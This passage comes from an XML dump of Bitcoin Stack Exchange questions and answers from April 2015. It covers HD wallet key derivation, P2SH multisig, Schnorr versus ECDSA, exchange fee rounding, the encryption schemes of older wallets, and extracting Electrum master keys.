wallet protect its master public key?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21331" LastActivityDate="2015-04-15T07:26:08.397" Title="How does HD wallet protect its master public key?" Tags="|bip32-hd-wallets|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36919" PostTypeId="1" CreationDate="2015-04-15T01:59:44.190" Score="4" ViewCount="809" Body="&lt;p&gt;As everyone is aware, I'm a huge proponent of Vitalik Buterin's &lt;a href=&quot;https://github.com/vbuterin/pybitcointools/&quot; rel=&quot;nofollow&quot;&gt;pybitcointools&lt;/a&gt; Python 2.7/3.x library. I am having a some trouble understanding the BIP32 concepts, which are coded in the &lt;em&gt;&lt;a href=&quot;https://github.com/vbuterin/pybitcointools/blob/master/bitcoin/deterministic.py&quot; rel=&quot;nofollow&quot;&gt;deterministic&lt;/a&gt;/&lt;a href=&quot;https://github.com/vbuterin/pybitcointools/blob/master/bitcoin/composite.py&quot; rel=&quot;nofollow&quot;&gt;composite&lt;/a&gt;&lt;/em&gt; modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, &lt;a href=&quot;https://github.com/vbuterin/pybitcointools/blob/master/bitcoin/composite.py#L51&quot; rel=&quot;nofollow&quot;&gt;this code&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# BIP32 hierarchical deterministic multisig script&#xA;def bip32_hdm_script(*args):&#xA;    if len(args) == 3:&#xA;        keys, req, path = args&#xA;    else:&#xA;        i, keys, path = 0, [], []&#xA;        while len(args[i]) &amp;gt; 40:&#xA;            keys.append(args[i])&#xA;            i += 1&#xA;        req = int(args[i])&#xA;        path = map(int, args[i+1:])&#xA;    pubs = sorted(map(lambda x: bip32_descend(x, path), keys))  # &#xA;    return mk_multisig_script(pubs, req)    # (req = required sigs) ... returns redeemScript hex&#xA;&#xA;&#xA;# BIP32 hierarchical deterministic multisig address&#xA;def bip32_hdm_addr(*args):&#xA;    return scriptaddr(bip32_hdm_script(*args))   # returns P2SH address&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've had issues signing 2-of-2 P2SH/HD Txs with Electrum which I could only successfully sign using &lt;code&gt;createrawtransaction&lt;/code&gt; \ &lt;code&gt;signrawtransaction&lt;/code&gt; in Bitcoin-CLI. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How exactly is P2SH in combination with HD wallets implemented (preferably in terms of the aforementioned Python code)?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="2306" LastEditDate="2015-04-22T18:12:26.973" LastActivityDate="2015-06-24T16:21:23.203" Title="Clarification of BIP32 hierarchical deterministic multisig scripts" Tags="|bip32-hd-wallets|python|p2sh|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36920" PostTypeId="1" AcceptedAnswerId="38307" CreationDate="2015-04-15T04:33:36.290" Score="0" ViewCount="510" Body="&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://github.com/spesmilo/obelisk&quot; rel=&quot;nofollow&quot;&gt;Obelisk&lt;/a&gt;&lt;/em&gt; servers are implemented by several libraries like &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow&quot;&gt;Pybitcointools&lt;/a&gt; and &lt;a href=&quot;https://libbitcoin.dyne.org/&quot; rel=&quot;nofollow&quot;&gt;Libbitcoin's&lt;/a&gt; &lt;a href=&quot;http://sx.dyne.org&quot; rel=&quot;nofollow&quot;&gt;SX&lt;/a&gt;/BX tools; there also appears to be shared(?) repositories between &lt;a href=&quot;https://github.com/spesmilo/&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Spesmilo&lt;/em&gt;&lt;/a&gt; and &lt;a href=&quot;https://github.com/libbitcoin/libbitcoin&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Libbitcoin&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the benefit and differences offered by Obelisk servers?&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="5406" LastEditDate="2017-12-23T17:16:37.433" LastActivityDate="2017-12-23T17:16:37.433" Title="Obelisk servers" Tags="|libbitcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36921" PostTypeId="2" ParentId="32161" CreationDate="2015-04-15T06:18:57.127" Score="5" Body="&lt;p&gt;TL;DR yes, it's still decentralized, no it isn't perfectly anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Darkcoin (now Dash) &lt;a href=&quot;http://en.wikipedia.org/wiki/Dash_(cryptocurrency)&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;: &quot;It adds privacy to transactions by combining identical inputs from multiple users into a single transaction with several outputs. Due to the identical inputs, transactions usually cannot be directly traced, obfuscating the flow of funds.&quot; The nodes who perform this &quot;mixing&quot; are called Masternodes, and operate on a decentralized ledger.These nodes are trustless and do not have complete knowledge of input/output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to prevent Sybil attack, the masternode tier requires colateral of 1000 Dash to run. This makes the cost of attack very big. In &lt;a href=&quot;https://www.dash.org/wp-content/uploads/2015/04/Dash-WhitepaperV1.pdf&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; whitepaper is a lot more information for interested ones. &lt;/p&gt;&#xA;" OwnerUserId="25073" LastEditorUserId="1580" LastEditDate="2016-05-29T00:55:37.857" LastActivityDate="2016-05-29T00:55:37.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36923" PostTypeId="2" ParentId="36918" CreationDate="2015-04-15T07:00:34.997" Score="3" Body="&lt;p&gt;In typical HD wallet implementations, some kind of hash of the master public key and the sequence number of the child key is added into the private portion of each child key. This makes the interval between private keys unpredictable to an attacker who does not know the master public key and thus the interval between public keys is likewise unpredictable. With this kind of implementation, no number of child public keys will reveal the master public key and there is no way to tell that accounts are part of the same family with only public information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see the scheme I designed for Ripple &lt;a href=&quot;https://wiki.ripple.com/Account_Family#Algorithms&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2015-04-15T07:00:34.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36924" PostTypeId="2" ParentId="36918" CreationDate="2015-04-15T07:17:16.867" Score="0" Body="&lt;p&gt;As outlined &lt;a href=&quot;https://bitcoinmagazine.com/8396/deterministic-wallets-advantages-flaw/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, &lt;strong&gt;non-hardened&lt;/strong&gt; BIP32 wallets can be compromised if:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The master public key is known&lt;/li&gt;&#xA;&lt;li&gt;A child private key is known&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is because the unknown (offset) - the index - can be brute forced since it's a field of 2^31. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoinmagazine.com/wp-content/uploads/2013/11/privpub2.png&quot; rel=&quot;nofollow&quot;&gt;Diagram from article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hardened-keys use a master &lt;em&gt;private&lt;/em&gt; key and an index &gt;0x80000000 (2^31), denoted with prime notation, &lt;code&gt;k'&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-04-15T07:26:08.397" LastActivityDate="2015-04-15T07:26:08.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="36925" PostTypeId="2" ParentId="22875" CreationDate="2015-04-15T07:52:45.063" Score="0" Body="&lt;p&gt;You may want to give First Global Credit a try (www.firstglobalcredit.com). They provide stock trading facilities and provide a DMA trading platform (all trades are executed directly on the relevant exchange) with all positions secured using Bitcoin as collateral.&#xA;I've tried their simulated trade platform and it seems to do what it says on the tin.&lt;/p&gt;&#xA;" OwnerUserId="25076" LastActivityDate="2015-04-15T07:52:45.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36926" PostTypeId="5" CreationDate="2015-04-15T09:16:18.860" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-04-15T09:16:18.860" LastActivityDate="2015-04-15T09:16:18.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36927" PostTypeId="4" CreationDate="2015-04-15T09:16:18.860" Score="0" Body="Dash is OFF-TOPIC on this site. Dash is a blockchain-based cryptocurrency that uses a chained hashing algorithm called X11. It was formerly known as Darkcoin." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2023-03-08T14:53:10.767" LastActivityDate="2023-03-08T14:53:10.767" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="36928" PostTypeId="1" AcceptedAnswerId="36930" CreationDate="2015-04-15T11:25:00.960" Score="1" ViewCount="266" Body="&lt;p&gt;I was looking at &lt;code&gt;../qa/rpc-tests/util.py&lt;/code&gt; in order to figure out how arbitrary ports are assigned to each created node.&#xA;In the first lines of the code it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;...&lt;br/&gt;def p2p_port(n):&lt;br/&gt;return 11000 + n + &lt;strong&gt;os.getpid()%999&lt;/strong&gt;&lt;br/&gt;...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I'm wondering what exactly os.getpid()%999 does?&#xA;Is it instantly looking for a free port?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="2306" LastEditDate="2015-04-15T18:05:03.740" LastActivityDate="2015-04-15T18:05:03.740" Title="os.getpid() in Bitcoin's python test scripts - What does it actually do?" Tags="|json-rpc|python|regtest|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36929" PostTypeId="1" CreationDate="2015-04-15T12:59:56.353" Score="1" ViewCount="207" Body="&lt;p&gt;I'm trying to install Armory on a Raspberry Pi.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried installing the [Offline Bundle] for RaspberryPi (armhf) from &lt;a href=&quot;http://bitcoinarmory.com&quot; rel=&quot;nofollow&quot;&gt;http://bitcoinarmory.com&lt;/a&gt; but I'm getting compile errors on Raspbian. I also tried to update the g++ version with no luck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I want to try with the files from &lt;a href=&quot;http://coldpi.com/manuals/install.html&quot; rel=&quot;nofollow&quot;&gt;http://coldpi.com/manuals/install.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to I know if these files are safe to use?&lt;/p&gt;&#xA;" OwnerUserId="24518" LastEditorUserId="2306" LastEditDate="2015-04-15T18:01:25.027" LastActivityDate="2015-04-15T18:01:25.027" Title="How can I tell if files from coldpi are backdoored?" Tags="|armory|coldstorage|raspberry-pi|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36930" PostTypeId="2" ParentId="36928" CreationDate="2015-04-15T13:43:23.287" Score="3" Body="&lt;p&gt;&lt;code&gt;os.getpid()&lt;/code&gt; in Python is getting the &lt;a href=&quot;https://docs.python.org/2/library/os.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;current process id&lt;/a&gt;. The processor id is 'random-ish', in that running the entire test several times will result in a different pid, but within the same test the pid will remain constant. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;%&lt;/code&gt; operator is the &lt;a href=&quot;https://stackoverflow.com/questions/4432208/how-does-work-in-python&quot;&gt;modulus operator&lt;/a&gt;, which is essentially chopping off all but the last 3 digits of the processor id. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Together &lt;code&gt;os.getpid() % 999&lt;/code&gt; is getting a constant offset and ignoring all but the last 3 digits. This new 3 digit number of added to the constant 11000 to return the port number to use. &lt;/p&gt;&#xA;" OwnerUserId="18227" LastEditorUserId="-1" LastEditDate="2017-05-23T12:34:59.703" LastActivityDate="2015-04-15T13:43:23.287" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="36931" PostTypeId="1" CreationDate="2015-04-15T18:24:24.887" Score="0" ViewCount="191" Body="&lt;p&gt;I am doing research on Selfish Mining in Bitcoin. Here is the article&#xA;&lt;a href=&quot;http://hackingdistributed.com/2013/11/04/bitcoin-is-broken/&quot; rel=&quot;nofollow&quot;&gt;http://hackingdistributed.com/2013/11/04/bitcoin-is-broken/&lt;/a&gt;&#xA;I wanted to know is there a way to identify minining pools? I wanted to know how can we know that when someone finds a proof of work is it done by an individual or a mining pool?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="24969" LastEditorUserId="2306" LastEditDate="2015-04-15T18:45:52.303" LastActivityDate="2015-04-16T01:01:30.103" Title="Is it possible to identify mining pools?" Tags="|mining-pools|selfish-mining|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36932" PostTypeId="2" ParentId="36931" CreationDate="2015-04-15T19:20:48.397" Score="2" Body="&lt;p&gt;We can make an educated guess about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We can look at the hashrate that various pools advertise. We can look at what IP address the mined block was first seen at. We can look at the &lt;a href=&quot;https://en.bitcoin.it/wiki/Coinbase&quot; rel=&quot;nofollow&quot;&gt;coinbase&lt;/a&gt; of the block. (Eligius.st famously embedded bible quotes.) We can also guess at the size of a mining pool by looking at its Alexa rank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But we don't know for sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page uses the advertised hashrates of the pools: &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-04-16T01:01:30.103" LastActivityDate="2015-04-16T01:01:30.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36933" PostTypeId="1" CreationDate="2015-04-15T20:21:00.373" Score="2" ViewCount="2748" Body="&lt;p&gt;Does anyone know whether exchanges usually round values or truncate them instead? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different exchanges support different resolutions for prices and amounts. For instance, BTC China supports 2 decimals for prices and fiat amounts (in CNY) and 4 decimals for BTC amounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if I buy, say, 0.625 BTC at price 1621.37, I would get 1013.35625 CNY, but since fiat amounts are allowed to have only 2 decimals, that number will lose the extra digits. But will it become 1013.36 or 1013.35 (that is, rounded or truncated?).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be verified empirically for any given exchange, but I was hoping someone already knew the answer, either for specific exchanges or a general rule that most exchanges follow (if that were the case).&lt;/p&gt;&#xA;" OwnerUserId="15404" LastActivityDate="2018-01-08T19:31:19.977" Title="Rounding in BTC exchanges" Tags="|exchanges|trading|precision|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36935" PostTypeId="2" ParentId="34288" CreationDate="2015-04-16T03:06:46.377" Score="9" Body="&lt;p&gt;Yes you can do public key recovery with EC Schnorr. Consider&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;R = kG, [r = R.x, s = k + H(r, m)d], Q = dG&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;verify:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sG = ?R + H(r, m)Q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;recovery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sG = kG + H(r, m) dG = R + H(r, m)Q&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Q = 1 / H(r, m) * (sG - R).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(And to compute &lt;code&gt;R&lt;/code&gt; from &lt;code&gt;r&lt;/code&gt; if &lt;code&gt;R&lt;/code&gt; is point-compressed, &lt;code&gt;R = (r,f(r)) R' = (r,-f(r))&lt;/code&gt; and try both &lt;code&gt;R&lt;/code&gt; and &lt;code&gt;R'&lt;/code&gt; by checking if the signature is valid with the resultant public key).&lt;/p&gt;&#xA;" OwnerUserId="25084" LastEditorUserId="5406" LastEditDate="2015-07-08T09:30:49.457" LastActivityDate="2015-07-08T09:30:49.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36936" PostTypeId="2" ParentId="34288" CreationDate="2015-04-16T06:06:23.217" Score="4" Body="&lt;p&gt;The primary design goal for DSA was to avoid infringing the Schnorr patent.  Now that the patent has expired, there aren't really any good mathematical reasons to go with DSA.  With Schnorr, the algorithm and analysis are simpler and often more efficient.  It's also easier to split Schnorr private keys, create threshold variants, etc.  However, DSA and ECDSA are standards, and have been for a while.  As a result, library implementations are everywhere.  You can find hardware security module support, etc.  Someday the same will hold of either Ed25519 or some other Schnorr variant.  People are unlikely to standardize new DSA variants.  But for the moment ECDSA is still the algorithm to use if you want something standard and widely supported.&lt;/p&gt;&#xA;" OwnerUserId="24989" LastActivityDate="2015-04-16T06:06:23.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36937" PostTypeId="2" ParentId="36917" CreationDate="2015-04-16T11:30:28.917" Score="9" Body="&lt;p&gt;It is specified in BIP32 (&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&lt;/a&gt;). The SHA512-HMAC function is reused because it is already part of the standard elsewhere, but it takes a key in addition to the data being hashed. As the key can be arbitrary, we opted to use to make sure the key derivation was Bitcoin-specific.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-04-16T11:30:28.917" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36938" PostTypeId="2" ParentId="36933" CreationDate="2015-04-16T12:33:21.143" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://www.cointrader.net/fees&quot; rel=&quot;nofollow&quot;&gt;Cointrader&lt;/a&gt; rounds it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All calculations are performed to 16 decimal places. T&lt;strong&gt;he final fee for dollars is then rounded up or down to two decimal places,&lt;/strong&gt; and final fee for BTC is rounded to 8 decimal places. For example: &lt;em&gt;a fee of $0.114 is rounded down to $0.11, and a fee of $0.116 is rounded up to $0.12.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://coinfloor.co.uk/fees&quot; rel=&quot;nofollow&quot;&gt;Coinfloor&lt;/a&gt; uses something called &quot;weighted stochastic rounding&quot;, whatever that may be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;In order to ensure fairness, Coinfloor uses an approach called &quot;weighted stochastic rounding&quot; to calculate the fees charged to our users when trading. Weighted stochastic rounding over time minimises the effects of rounding errors. To understand why this rounding method is preferable to traditional &quot;round-to-nearest&quot; rounding methods, consider the case of one hundred occurrences of a 4.71 fee, each rounded according to the nearest whole number. Using the weighted stochastic rounding method, the expected value of the sum of these rounded figures is 471, which is exactly equal to the ideal sum of the unrounded figures. Using the traditional method, the expected value of the sum of the rounded figures would be 500, which is far from ideal as it results in a much higher fee charged. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I didn't find the information on any other sites, but I &lt;em&gt;think&lt;/em&gt; they will use round&lt;/p&gt;&#xA;" OwnerUserId="15412" LastActivityDate="2015-04-16T12:33:21.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36939" PostTypeId="1" CreationDate="2015-04-16T13:20:04.103" Score="0" ViewCount="756" Body="&lt;p&gt;I am new to Insight API. I want to receive unconfirmed transaction that are being broadcast to confirm by a miner to add in a block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Insight API using RPC client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can get unconfirmed transactions similar to the ones shown on blockchain.info.&lt;/p&gt;&#xA;" OwnerUserId="25086" LastEditorUserId="120" LastEditDate="2015-04-16T13:44:13.000" LastActivityDate="2015-04-16T13:58:22.367" Title="Receive unconfirmed transactions using Insight API" Tags="|client|blockchain.info|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36940" PostTypeId="2" ParentId="36939" CreationDate="2015-04-16T13:42:08.553" Score="0" Body="&lt;p&gt;You can do it without any third-party api.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take an example here: &lt;a href=&quot;https://github.com/sebicas/bitcoin-sniffer&quot; rel=&quot;nofollow&quot;&gt;https://github.com/sebicas/bitcoin-sniffer&lt;/a&gt; (I haven't checked it)&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-04-16T13:42:08.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36941" PostTypeId="2" ParentId="36939" CreationDate="2015-04-16T13:47:41.167" Score="1" Body="&lt;p&gt;It is relatively easy to build a simple program that connects to some peers in the network and receives transactions that are being broadcast. You do not need a third party service to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cdecker/pycoin/blob/develop/&quot; rel=&quot;nofollow&quot;&gt;Pycoin&lt;/a&gt; includes some &lt;a href=&quot;https://github.com/cdecker/pycoin/blob/develop/examples/inv_tracker.py&quot; rel=&quot;nofollow&quot;&gt;simple examples&lt;/a&gt; that connect to the network and receive &lt;code&gt;inv&lt;/code&gt; messages, all you'd have to do then is to send &lt;code&gt;getdata&lt;/code&gt; to the peer announcing the transaction. Disclaimer: I am the author of pycoin.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="12983" LastEditDate="2015-04-16T13:58:22.367" LastActivityDate="2015-04-16T13:58:22.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36942" PostTypeId="2" ParentId="35914" CreationDate="2015-04-16T14:16:54.207" Score="6" Body="&lt;p&gt;I mostly detailed the various encryption schemes used in version 1 wallets over here: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1012475.msg11105755#msg11105755&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=1012475.msg11105755#msg11105755&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, it's not trivial to create such a wallet any longer, now that the default is version 2. It &lt;em&gt;is&lt;/em&gt; easy to convert a version 1 wallet into version 2: just change the iteration count under security settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(edited to include the referenced content here, on request)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a version 1 (what the code refers to as version 0 IIRC) encrypted wallet. There have been several different encryption schemes used for this wallet version—the only way to differentiate them is to try them all, and see which one works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The schemes have some shared attributes: the payload is stored base-64 encoded, the first 16 bytes is used as both the KDF's salt and the encryption mode's IV (and the rest is the ciphertext), the password is UTF-8 encoded (it's not normalized), and the KDF is PBKDF2-SHA1. The scheme differences, in most recent to oldest order, are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the KDF iteration count is 10, encryption is AES-256 in CBC mode with ISO 10126 padding (same as version 2 wallets, but with a hard-coded iteration count)&lt;/li&gt;&#xA;&lt;li&gt;same as the above, but the iteration count is 1&lt;/li&gt;&#xA;&lt;li&gt;the iteration count is 1, encryption is AES-256 in OFB mode with ISO 7816-4 padding&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Likewise, the second-password encryption has gone through a number of schemes; I think they parallel the ones above, but I'm not sure and don't have the details readily available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second password is also stored hashed inside the wallet file, and I do have the details of the various hashing schemes (again, password is UTF-8 encoded, most recent to oldest):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the salt is the sharedKey field (the literal string, not the underlying UUID bytes), the hash is PBKDF1-SHA256 with an iteration count of 10 (same as version 2 wallets, but with a hard-coded iteration count)&lt;/li&gt;&#xA;&lt;li&gt;same as the above, but the iteration count is 1&lt;/li&gt;&#xA;&lt;li&gt;the hash is SHA256(password) (unsalted)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-04-16T22:13:37.280" LastActivityDate="2015-04-16T22:13:37.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36943" PostTypeId="1" CreationDate="2015-04-16T15:08:11.400" Score="3" ViewCount="820" Body="&lt;p&gt;Premise: I'm quite new to all this bitcoin thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After experiencing some problem with a bitcoin transaction, I made few attempts with small quantities (0,0001).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, I've sent 0,0001 to each of three different addresses. However, I've noticed that on MultiBit, on the transactions details, under &quot;description&quot;, all of them appear &quot;Sent to [address]&quot; to the same address for all the 3 transactions. Is that normal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N7Dwa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, none of the transaction were addressed to 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, at 16 Apr 2015, 15:35, I sent 0,0001 bitcoin (plus 0,0001 commission) to 12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5 (which is another wallet of mine). However, I've never received them on 12m1i78fnz31eTbK4cut18y1sTyP6ZHhw5,a and on MultiBit it appears to be sent to this unknown 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ. Same holds for the other two transactions: they weren't meant to be addressed to 17iU5t8JXuJux4maPEwWHtuy6cGU4cRiJQ.&lt;/p&gt;&#xA;" OwnerUserId="25090" LastEditorUserId="2306" LastEditDate="2015-05-27T18:03:03.433" LastActivityDate="2015-05-27T18:03:03.433" Title="Coins sent to unknown address in Multibit" Tags="|transactions|address|multibit|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36944" PostTypeId="1" AcceptedAnswerId="36948" CreationDate="2015-04-16T15:55:05.633" Score="22" ViewCount="20006" Body="&lt;p&gt;I'm getting mixed answers on this question. For example, &lt;a href=&quot;http://enetium.com/resources/Bitcoin.pdf&quot;&gt;this source&lt;/a&gt; says addresses vary between 27 and 34 characters in length. &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot;&gt;The Wiki&lt;/a&gt; says 26-35 characters. Neither source cites something that will let me independently confirm the figures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the minimum and maximum lengths of a Bitcoin address on mainnet, and how are these numbers derived?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastActivityDate="2020-07-02T07:43:37.890" Title="What are the minimum and maximum lengths of a Mainnet Bitcoin address?" Tags="|address|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36945" PostTypeId="2" ParentId="36839" CreationDate="2015-04-16T15:56:07.673" Score="2" Body="&lt;p&gt;There is an alternative way to extract the master extended private key (xprv): in the Electrum console, simply type this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wallet.get_master_private_key('x/', gui.password_dialog())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or for the master private key of a wallet created with Electrum 1.x, it's:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wallet.get_seed(gui.password_dialog())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Warning&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Don't ever type your password or a private key into the console. In other words, don't do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wallet.get_seed('my-password')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Everything you type into the console is temporarily stored inside your wallet file &lt;em&gt;unencrypted&lt;/em&gt; to make the command history feature (accessed via the up-arrow) work.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="25088" LastEditDate="2015-04-25T16:27:50.863" LastActivityDate="2015-04-25T16:27:50.863" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
